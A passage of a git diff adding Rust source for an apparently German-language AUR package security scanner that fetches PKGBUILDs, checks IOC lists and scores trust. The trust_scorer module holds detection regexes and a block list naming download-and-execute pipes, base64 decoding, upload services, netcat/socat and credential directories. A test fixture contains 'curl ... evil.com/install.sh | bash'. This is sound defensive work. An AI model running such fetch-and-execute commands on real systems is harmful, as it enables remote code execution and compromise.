pkgbuild_analysis { + let mut warnings: Vec = score.warnings.into_iter().collect(); + let critical_findings: Vec = score + .critical_findings + .into_iter() + .map(|c| format!("{:?}", c)) + .collect(); + + // IOC-Warnungen hinzufügen + let ioc_strings: Vec = ioc_matches + .iter() + .map(|ioc| format!("{}: {} ({})", ioc.threat_type, ioc.description, ioc.confidence)) + .collect(); + warnings.extend(ioc_strings.clone()); + + let status = Self::calculate_status(score.overall, !ioc_matches.is_empty(), !critical_findings.is_empty()); + + ScanResult { + package: package.to_string(), + version: aur_info.as_ref().and_then(|i| Some(i.version.clone())).unwrap_or_default(), + score: score.overall, + max_score: 100, + status, + warnings, + critical_findings, + ioc_matches: ioc_strings, + details: Some(ScanDetails { + source_url: aur_info.as_ref().and_then(|i| i.url.clone()), + maintainer: aur_info.as_ref().and_then(|i| i.maintainer.clone()), + votes: aur_info.as_ref().and_then(|i| Some(i.num_votes)), + popularity: aur_info.as_ref().and_then(|i| Some(i.popularity)), + last_modified: None, + out_of_date: aur_info.as_ref().map(|i| i.out_of_date.is_some()).unwrap_or(false), + is_orphaned: aur_info.as_ref().and_then(|i| i.maintainer.as_ref()).map(|m| m == "orphan").unwrap_or(true), + pkgbuild_raw: if verbose { pkgbuild_raw } else { None }, + }), + } + } else { + // Fallback: Installiertes Paket analysieren + let installed_info = self.get_installed_info(package).await?; + let score = self.trust_scorer.check_installed_package(&installed_info); + + let ioc_strings: Vec = ioc_matches + .iter() + .map(|ioc| format!("{}: {}", ioc.threat_type, ioc.description)) + .collect(); + + ScanResult { + package: package.to_string(), + version: self.extract_version(&installed_info).unwrap_or_default(), + score: score.overall, + max_score: 100, + status: Self::calculate_status(score.overall, !ioc_matches.is_empty(), false), + warnings: score.warnings.into_iter().chain(ioc_strings.clone()).collect(), + critical_findings: vec![], + ioc_matches: ioc_strings, + details: None, + } + }; + + Ok(result) + } + + /// Scannt alle installierten AUR-Pakete + pub async fn scan_all_installed( + &self, + verbose: bool, + ) -> Result> { + info!("Scanne alle installierten AUR-Pakete..."); + + let foreign_packages = self.get_foreign_packages().await?; + let mut results = Vec::with_capacity(foreign_packages.len()); + + for (pkg, _) in foreign_packages { + match self.scan_package(&pkg, verbose).await { + Ok(result) => { + results.push(result); + } + Err(e) => { + warn!("Fehler beim Scannen von {}: {}", pkg, e); + results.push(ScanResult { + package: pkg, + version: String::new(), + score: 0, + max_score: 100, + status: ScanStatus::Unknown, + warnings: vec![format!("Scan fehlgeschlagen: {}", e)], + critical_findings: vec![], + ioc_matches: vec![], + details: None, + }); + } + } + } + + // Sortiere nach Score (gefährlichste zuerst) + results.sort_by(|a, b| a.score.cmp(&b.score)); + + Ok(results) + } + + /// Prüft gegen aktuelle IOC-Listen + pub async fn check_iocs(&self, list_type: &str) -> Result> { + let iocs = self.ioc_fetcher.get_cached_iocs().await?; + let foreign_packages = self.get_foreign_packages().await?; + + let mut threats = Vec::new(); + + for (pkg, _) in foreign_packages { + let matches = self.ioc_fetcher.check_package(&pkg, &iocs); + + for ioc in matches { + threats.push(IocThreat { + package: pkg.clone(), + threat_type: format!("{:?}", ioc.threat_type), + source: ioc.source, + confidence: format!("{:?}", ioc.confidence), + action_required: matches!(ioc.confidence, crate::ioc_fetcher::ConfidenceLevel::Critical | crate::ioc_fetcher::ConfidenceLevel::High), + }); + } + } + + Ok(threats) + } + + pub fn allow_package(&mut self, package: &str) -> Result<()> { + self.whitelist.insert(package.to_string()); + self.save_whitelist()?; + info!("{} zur Whitelist hinzugefügt", package); + Ok(()) + } + + pub fn deny_package(&mut self, package: &str) -> Result<()> { + self.whitelist.remove(package); + self.save_whitelist()?; + info!("{} von Whitelist entfernt", package); + Ok(()) + } + + pub fn config_path(&self) -> Result { + Ok(self.config.config_path.clone()) + } + + pub fn cache_path(&self) -> Result { + Ok(self.cache_dir.clone()) + } + + pub async fn show_cache_status(&self) -> Result<()> { + println!("{}", "=== AegisAUR Cache Status ===".cyan().bold()); + + let ioc_count = self.ioc_fetcher.get_cached_iocs().await?.len(); + println!("IOC-Einträge im Cache: {}", ioc_count); + + let cache_size = self.calculate_cache_size().await?; + println!("Cache-Größe: {:.2} MB", cache_size as f64 / 1024.0 / 1024.0); + + println!("Whitelist-Einträge: {}", self.whitelist.len()); + + let last_update = self.get_last_cache_update().await?; + println!("Letzte Aktualisierung: {}", last_update.unwrap_or_else(|| "Unbekannt".to_string())); + + Ok(()) + } + + // --- Hilfsmethoden --- + + async fn fetch_aur_info(&self, package: &str) -> Result> { + let url = format!( + "https://aur.archlinux.org/rpc/v5/info?arg[]={}", + package + ); + + let response = reqwest::get(&url).await?; + if !response.status().is_success() { + return Ok(None); + } + + let rpc_response: AurRpcResponse = response.json().await?; + + if rpc_response.resultcount == 0 || rpc_response.results.is_empty() { + return Ok(None); + } + + Ok(Some(rpc_response.results[0].clone())) + } + + async fn fetch_pkgbuild(&self, package: &str, url_path: &str) -> Result { + let base_url = "https://aur.archlinux.org"; + let pkgbuild_url = format!("{}/{}/plain/PKGBUILD", base_url, url_path); + + let response = reqwest::get(&pkgbuild_url).await?; + if !response.status().is_success() { + anyhow::bail!("Konnte PKGBUILD nicht laden: HTTP {}", response.status()); + } + + response.text().await.context("Konnte PKGBUILD nicht lesen") + } + + async fn get_foreign_packages(&self) -> Result> { + let output = Command::new("pacman") + .args(["-Qm"]) + .output() + .await + .context("Konnte pacman nicht ausführen")?; + + if !output.status.success() { + anyhow::bail!("pacman -Qm fehlgeschlagen"); + } + + let stdout = String::from_utf8(output.stdout)?; + let mut packages = Vec::new(); + + for line in stdout.lines() { + let parts: Vec<&str> = line.split_whitespace().collect(); + if parts.len() >= 2 { + packages.push((parts[0].to_string(), parts[1].to_string())); + } + } + + Ok(packages) + } + + async fn get_installed_info(&self, package: &str) -> Result { + let output = Command::new("pacman") + .args(["-Qi", package]) + .output() + .await + .context("Konnte pacman nicht ausführen")?; + + Ok(String::from_utf8_lossy(&output.stdout).to_string()) + } + + fn extract_version(&self, pacman_qi: &str) -> Option { + pacman_qi + .lines() + .find(|l| l.contains("Version")) + .and_then(|l| l.split(':').nth(1)) + .map(|s| s.trim().to_string()) + } + + fn calculate_status(score: u32, has_ioc: bool, has_critical: bool) -> ScanStatus { + if has_ioc { + return ScanStatus::IOCDetected; + } + if has_critical || score < 30 { + return ScanStatus::Dangerous; + } + if score < 50 { + return ScanStatus::Suspicious; + } + if score < 80 { + return ScanStatus::Warning; + } + ScanStatus::Safe + } + + fn save_whitelist(&self) -> Result<()> { + let whitelist_path = self.cache_dir.join("whitelist.json"); + let json = serde_json::to_string_pretty(&self.whitelist)?; + // Blocking IO für HashSet - in Produktion async machen + std::fs::write(whitelist_path, json)?; + Ok(()) + } + + async fn calculate_cache_size(&self) -> Result { + let mut total_size = 0u64; + + let mut entries = fs::read_dir(&self.cache_dir).await?; + while let Some(entry) = entries.next_entry().await? { + let metadata = entry.metadata().await?; + if metadata.is_file() { + total_size += metadata.len(); + } + } + + Ok(total_size) + } + + async fn get_last_cache_update(&self) -> Result> { + let cache_file = self.cache_dir.join("iocs.json"); + if !cache_file.exists() { + return Ok(None); + } + + let metadata = fs::metadata(cache_file).await?; + let modified = metadata.modified()?; + let datetime: chrono::DateTime = modified.into(); + + Ok(Some(datetime.format("%Y-%m-%d %H:%M:%S").to_string())) + } +} + +impl ScanResult { + pub fn status_message(&self) -> ColoredString { + match self.status { + ScanStatus::Safe => "SICHER".green().bold(), + ScanStatus::Warning => "WARNUNG".yellow().bold(), + ScanStatus::Suspicious => "VERDÄCHTIG".bright_yellow().bold(), + ScanStatus::Dangerous => "GEFÄHRLICH!".red().bold(), + ScanStatus::IOCDetected => "IOC ERKANNT!".on_red().white().bold(), + ScanStatus::Unknown => "UNBEKANNT".white(), + } + } +} + +#[derive(Debug, Clone)] +pub struct IocThreat { + pub package: String, + pub threat_type: String, + pub source: String, + pub confidence: String, + pub action_required: bool, +} + +// AUR RPC Response Types +#[derive(Debug, Clone, Serialize, Deserialize)] +struct AurRpcResponse { + #[serde(rename = "resultcount")] + resultcount: u32, + results: Vec, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +struct AurPackageInfo { + #[serde(rename = "Name")] + name: String, + #[serde(rename = "Version")] + version: String, + #[serde(rename = "Description")] + description: Option, + #[serde(rename = "URL")] + url: Option, + #[serde(rename = "URLPath")] + url_path: Option, + #[serde(rename = "Maintainer")] + maintainer: Option, + #[serde(rename = "NumVotes")] + num_votes: u32, + #[serde(rename = "Popularity")] + popularity: f32, + #[serde(rename = "OutOfDate")] + out_of_date: Option, +} \ No newline at end of file diff --git a/src/trust_scorer.rs b/src/trust_scorer.rs new file mode 100644 index 0000000..31d34af --- /dev/null +++ b/src/trust_scorer.rs @@ -0,0 +1,401 @@ +use anyhow::{Context, Result}; +use regex::Regex; +use std::collections::HashSet; +use std::path::Path; +use tracing::{debug, trace, warn}; + +/// Score-Kategorien für das Trust-Rating +#[derive(Debug, Clone)] +pub struct TrustScore { + pub overall: u32, // 0-100 (100 = vertrauenswürdig) + pub categories: Vec, + pub warnings: Vec, + pub critical_findings: Vec, +} + +#[derive(Debug, Clone)] +pub struct ScoreCategory { + pub name: String, + pub score: u32, // 0-100 + pub weight: f32, + pub description: String, +} + +#[derive(Debug, Clone)] +pub enum CriticalFinding { + RemoteCodeExecution(String), // Befehl der gefunden wurde + CredentialExfiltration(String), + PersistenceMechanism(String), + ObfuscatedScript(String), + SuspiciousNetworkCall(String), + OrphanTakeover { original: String, new_maintainer: String }, +} + +/// Konfiguration für Heuristiken +pub struct TrustScorer { + suspicious_patterns: Vec, + trusted_domains: HashSet, + blocklisted_commands: Vec, +} + +struct SuspiciousPattern { + pattern: Regex, + penalty: u32, + description: String, + critical: bool, +} + +impl TrustScorer { + pub fn new() -> Result { + let mut scorer = TrustScorer { + suspicious_patterns: Vec::new(), + trusted_domains: Self::default_trusted_domains(), + blocklisted_commands: Vec::new(), + }; + + scorer.compile_patterns()?; + Ok(scorer) + } + + fn compile_patterns(&mut self) -> Result<()> { + // KRITISCHE PATTERNS (sofortiger Alarm) + let critical_patterns = vec![ + // npm/bun install mit verdächtigen Paketen + (r"(?i)(npm|bun)\s+install\s+.*(atomic|lockfile|digest|js-|crypto|steal|exfil)", 100, "Verdächtiges npm/bun install", true), + // Download + Ausführen + (r"(?i)(curl|wget).*\|\s*(bash|sh|eval|exec)\b", 100, "Download und direktes Ausführen", true), + (r"(?i)(curl|wget).*\>.*\.\w+\s*;\s*chmod.*\+x", 100, "Download, speichern, executable machen", true), + // Obfuscation + (r"(?i)base64\s+-d\s*\|", 90, "Base64 Dekodierung in Pipe", true), + (r"(?i)eval\s*\$", 90, "Eval mit Variablen", true), + (r"(?i)\$\(.*\b(curl|wget|fetch)\b.*\)", 80, "Kommandosubstitution mit Download", true), + // Netzwerk-Exfiltration + (r"(?i)(temp\.sh|transfer\.sh|0x0\.st|termbin\.com)", 95, "Verdächtiger Upload-Service", true), + // System-Persistenz + (r"(?i)systemctl\s+(enable|start|restart).*\.(service|timer)", 70, "Systemd-Service Manipulation", false), + (r"(?i)mkdir\s+-p\s+/var/lib/.*\s*\&\&\s*cp", 80, "Dateien unter /var/lib ablegen", false), + // Browser/Credential-Zugriff + (r"(?i)(\.mozilla|\.config/google-chrome|\.config/chromium|\.ssh|gnupg)", 60, "Zugriff auf sensitive Verzeichnisse", false), + // eBPF + (r"(?i)bpf\(|bpf_syscall|libbpf|bcc", 85, "eBPF Code erkannt", false), + ]; + + for (pattern, penalty, desc, critical) in critical_patterns { + let regex = Regex::new(pattern) + .with_context(|| format!("Konnte Pattern '{}' nicht kompilieren", pattern))?; + self.suspicious_patterns.push(SuspiciousPattern { + pattern: regex, + penalty, + description: desc.to_string(), + critical, + }); + } + + // Blockliste von Kommandos (soweit Regex-technisch möglich) + self.blocklisted_commands = vec![ + Regex::new(r"(?i)\b(nc|netcat|ncat|socat)\b").unwrap(), + Regex::new(r"(?i)\b(rev|ruby|perl|python|python3)\s+-c\b").unwrap(), + ]; + + Ok(()) + } + + fn default_trusted_domains() -> HashSet { + let mut domains = HashSet::new(); + domains.insert("github.com".to_string()); + domains.insert("gitlab.com".to_string()); + domains.insert("salsa.debian.org".to_string()); + domains.insert("codeberg.org".to_string()); + domains.insert("sourceforge.net".to_string()); + domains.insert("kernel.org".to_string()); + domains.insert("gnu.org".to_string()); + domains.insert("apache.org".to_string()); + domains.insert("mozilla.org".to_string()); + domains.insert("npmjs.com".to_string()); // Achtung: npmjs ist auch missbraucht worden + domains.insert("crates.io".to_string()); + domains.insert("pypi.org".to_string()); + domains.insert("archlinux.org".to_string()); + domains + } + + /// Analysiert einen PKGBUILD-Inhalt + pub fn analyze_pkgbuild(&self, content: &str, source_url: Option<&str>) -> TrustScore { + let mut score = 100u32; + let mut categories = Vec::new(); + let mut warnings = Vec::new(); + let mut critical_findings = Vec::new(); + + // 1. Shell-Script Analyse (PKGBUILD ist ein Shell-Script) + let (shell_score, shell_warnings, shell_critical) = self.analyze_shell_script(content); + categories.push(ScoreCategory { + name: "Shell-Script Sicherheit".to_string(), + score: shell_score, + weight: 0.40, + description: "Analyse von PKGBUILD als Shell-Script".to_string(), + }); + warnings.extend(shell_warnings); + critical_findings.extend(shell_critical); + score = score.saturating_sub(100 - shell_score); + + // 2. Source-URL Verifizierung + let (url_score, url_warnings) = self.analyze_source_url(source_url); + categories.push(ScoreCategory { + name: "Source-URL Vertrauen".to_string(), + score: url_score, + weight: 0.20, + description: "Prüfung der Herkunft des Source-Codes".to_string(), + }); + warnings.extend(url_warnings); + score = score.saturating_sub((100 - url_score) / 3); + + // 3. Checksum-Qualität + let (checksum_score, checksum_warnings) = self.analyze_checksums(content); + categories.push(ScoreCategory { + name: "Checksum Verifizierung".to_string(), + score: checksum_score, + weight: 0.20, + description: "Qualität und Vollständigkeit der Prüfsummen".to_string(), + }); + warnings.extend(checksum_warnings); + score = score.saturating_sub((100 - checksum_score) / 3); + + // 4. Maintainer-Heuristiken + let (maint_score, maint_warnings) = self.analyze_maintainer_info(content); + categories.push(ScoreCategory { + name: "Maintainer-Vertrauen".to_string(), + score: maint_score, + weight: 0.20, + description: "Heuristiken zum Maintainer-Account".to_string(), + }); + warnings.extend(maint_warnings); + score = score.saturating_sub((100 - maint_score) / 3); + + // Gewichteten Score berechnen + let weighted_score: f32 = categories.iter() + .map(|c| c.score as f32 * c.weight) + .sum(); + + TrustScore { + overall: weighted_score.round() as u32, + categories, + warnings, + critical_findings, + } + } + + fn analyze_shell_script(&self, content: &str) -> (u32, Vec, Vec) { + let mut score = 100u32; + let mut warnings = Vec::new(); + let mut critical = Vec::new(); + + for pattern in &self.suspicious_patterns { + if pattern.pattern.is_match(content) { + let captures: Vec<_> = pattern.pattern.find_iter(content).collect(); + + for cap in captures { + let ctx_start = cap.start().saturating_sub(30); + let ctx_end = (cap.end() + 30).min(content.len()); + let context = &content[ctx_start..ctx_end]; + let context_clean = context.replace('\n', "\\n"); + + if pattern.critical { + critical.push(CriticalFinding::RemoteCodeExecution(format!( + "{} (Kontext: ...{}...)", + pattern.description, + context_clean + ))); + score = score.saturating_sub(pattern.penalty); + } else { + warnings.push(format!( + "{}: {}", + pattern.description, + context_clean + )); + score = score.saturating_sub(pattern.penalty / 2); + } + } + } + } + + // Blocklisted Commands + for cmd_regex in &self.blocklisted_commands { + if let Some(mat) = cmd_regex.find(content) { + warnings.push(format!( + "Potentiell gefährlicher Befehl erkannt: {}", + &content[mat.start().saturating_sub(10)..(mat.end() + 10).min(content.len())] + )); + score = score.saturating_sub(10); + } + } + + // Prozentuale Bewertung + (score.min(100), warnings, critical) + } + + fn analyze_source_url(&self, url: Option<&str>) -> (u32, Vec) { + let mut score = 100u32; + let mut warnings = Vec::new(); + + let url = match url { + Some(u) => u, + None => { + warnings.push("Keine Source-URL gefunden".to_string()); + return (50, warnings); + } + }; + + // HTTPS check + if !url.starts_with("https://") { + warnings.push("Source-URL verwendet kein HTTPS".to_string()); + score -= 20; + } + + // Domain check + let domain = url.split('/').nth(2).unwrap_or(""); + let domain_clean = domain.strip_prefix("www.").unwrap_or(domain); + + if !self.trusted_domains.contains(domain_clean) { + warnings.push(format!( + "Domain '{}' ist nicht in der Trust-Liste", + domain_clean + )); + score -= 15; + } + + // URL Shortener / Pastebin checks + if url.contains("pastebin") || url.contains("tinyurl") || url.contains("bit.ly") + || url.contains("t.co") || url.contains("short.link") { + warnings.push("URL-Shortener / Pastebin als Source erkannt!".to_string()); + score -= 50; + } + + (score.max(0), warnings) + } + + fn analyze_checksums(&self, content: &str) -> (u32, Vec) { + let mut score = 100u32; + let mut warnings = Vec::new(); + + // Prüfe auf SHA256/SHA512 (gut) + let has_sha256 = content.contains("sha256sums") || content.contains("sha256"); + let has_sha512 = content.contains("sha512sums") || content.contains("sha512"); + let has_md5 = content.contains("md5sums") || content.contains("md5"); + let has_skip = content.contains("SKIP") || content.contains("skip"); + + if has_sha256 || has_sha512 { + score += 10; + } + + if has_md5 && !has_sha256 && !has_sha512 { + warnings.push("Nur MD5-Checksummen (veraltet und unsicher)".to_string()); + score -= 30; + } + + if has_skip { + warnings.push("Checksummen werden übersprungen (SKIP)".to_string()); + score -= 40; + } + + if !has_sha256 && !has_sha512 && !has_md5 && !has_skip { + warnings.push("Keine Checksummen definiert".to_string()); + score -= 50; + } + + (score.max(0).min(100), warnings) + } + + fn analyze_maintainer_info(&self, content: &str) -> (u32, Vec) { + // Baseline: Wir können aus dem PKGBUILD nicht viel über den Maintainer lernen + // In einer erweiterten Version würde dies die AUR-RPC API nutzen + let mut score = 80u32; // Neutral + let mut warnings = Vec::new(); + + // Prüfe auf "Contributor" vs "Maintainer" + if !content.contains("# Maintainer:") { + if content.contains("# Contributor:") { + warnings.push("Nur Contributor, kein Maintainer definiert".to_string()); + score -= 10; + } + } + + (score.max(0).min(100), warnings) + } + + /// Prüft ein installiertes Paket (Fallback wenn kein PKGBUILD verfügbar) + pub fn check_installed_package(&self, pkg_info: &str) -> TrustScore { + // Minimale Analyse basierend auf pacman -Qi Ausgabe + let mut warnings = Vec::new(); + + if pkg_info.contains("AUR") || pkg_info.contains("foreign") { + warnings.push("Paket stammt aus AUR (nicht offizielles Repository)".to_string()); + } + + TrustScore { + overall: 70, // Grundwert für installierte Pakete ohne PKGBUILD + categories: vec![], + warnings, + critical_findings: vec![], + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_npm_install_detection() { + let scorer = TrustScorer::new().unwrap(); + let malicious_pkgbuild = r#" +pkgname=test-malicious +pkgver=1.0 +pkgrel=1 + +build() { + npm install atomic-lockfile +} +"#; + + let result = scorer.analyze_pkgbuild(malicious_pkgbuild, None); + assert!(!result.critical_findings.is_empty()); + assert!(result.overall < 50); + } + + #[test] + fn test_curl_pipe_bash_detection() { + let scorer = TrustScorer::new().unwrap(); + let bad_pkgbuild = r#" +pkgname=test-bad +pkgver=1.0 + +prepare() { + curl -s https://evil.com/install.sh | bash +} +"#; + + let result = scorer.analyze_pkgbuild(bad_pkgbuild, None); + assert!(!result.critical_findings.is_empty()); + } + + #[test] + fn test_legitimate_pkgbuild() { + let scorer = TrustScorer::new().unwrap(); + let good_pkgbuild = r#" +pkgname=hello +pkgver=2.12 +pkgrel=1 +source=(https://ftp.gnu.org/gnu/$pkgname/$pkgname-$pkgver.tar.gz) +sha256sums=('cf04e2b7e0d28e6f5e540d130ad5295c079ffdad43e25c489e5e52eb40a2a517') + +build() { + cd "$pkgname-$pkgver" + ./configure --prefix=/usr + make +} +"#; + + let result = scorer.analyze_pkgbuild(good_pkgbuild, Some("https://ftp.gnu.org/gnu/hello/hello-2.12.tar.gz")); + assert!(result.overall > 70); + assert!(result.critical_findings.is_empty()); + } +} \ No newline at end of file diff --git a/src/utils.rs b/src/utils.rs new file mode 100644 index 0000000..8f77bd7 --- /dev/null +++ b/src/utils.rs @@ -0,0 +1,28 @@ +use anyhow::Result; +use serde::{Deserialize, Serialize}; +use std::path::PathBuf; + +/// Gemeinsame Utility-Funktionen +pub fn get_project_dirs() -> Result { + directories::ProjectDirs::from("eu", "heimatlosen", "aegisaur") + .ok_or_else(|| anyhow::anyhow!("Konnte Projekt-Verzeichnisse nicht ermitteln")) +} + +/// Formatiert Bytes als menschenlesbare Größe +pub fn format_bytes(bytes: u64) -> String { + const UNITS: [&str; 6] = ["B", "KB", "MB", "GB", "TB", "PB"]; + let mut size = bytes as f64; + let mut unit_index = 0; + + while size >= 1024.0 && unit_index < UNITS.len() - 1 { + size /= 1024.0; + unit_index += 1; + } + + format!("{:.2} {}", size, UNITS[unit_index]) +} + +/// Prüft ob ein Befehl verfügbar ist +pub fn command_exists(cmd: &str) -> bool { + which::which(cmd).is_ok() +}